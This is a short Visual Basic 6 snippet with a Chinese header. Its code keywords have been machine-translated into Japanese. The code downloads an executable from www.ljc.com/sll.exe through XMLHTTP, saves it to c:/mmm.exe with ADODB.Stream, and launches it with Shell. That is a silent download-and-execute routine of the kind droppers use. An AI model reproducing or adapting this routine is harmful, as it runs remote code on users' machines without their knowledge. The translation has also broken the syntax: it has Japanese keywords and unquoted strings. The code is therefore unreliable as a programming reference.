建立一vb工程，Project1
追加引用：Microsoft スクリプト ランタイム、Microsoft Active Data Object、Microsoft MsXml
フォーム1代コード：
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
Dim d As Class1
a = 新しい MSXML2.XMLHTTP を設定します。
a.open get、http://www.ljc.com/sll.exe、True
セット d = 新しいクラス 1
a.onreadystatechange = d
a.送信
エンドサブ
クラス1代：
Dim b As ADODB.Stream
Dim fso As Scripting.FileSystemObject
パブリック curReadyState をできるだけ長く
パブリック関数 doSome()
Debug.Print Form1.a.readyState
Form1.a.readyState = 4 の場合
www
終了の場合
終了機能
パブリック関数 www()
セット b = 新しい ADODB.Stream
b.タイプ = 1
b.開く
fso = 新しい Scripting.FileSystemObject を設定します。
Form1.a.readyState = 4 の場合
b.書き込み (Form1.a.responseBody)
fso.FileExists(c:/mmm.exe) でない場合
b.SaveToFile c:/mmm.exe
終了の場合
終了の場合
b.閉じる
セット b = なし
fso.FileExists(c:/mmm.exe) の場合、シェル c:/mmm.exe、1
fso = なしを設定します
終了機能
注意 Class1 の doSome はデフォルトに設定されます。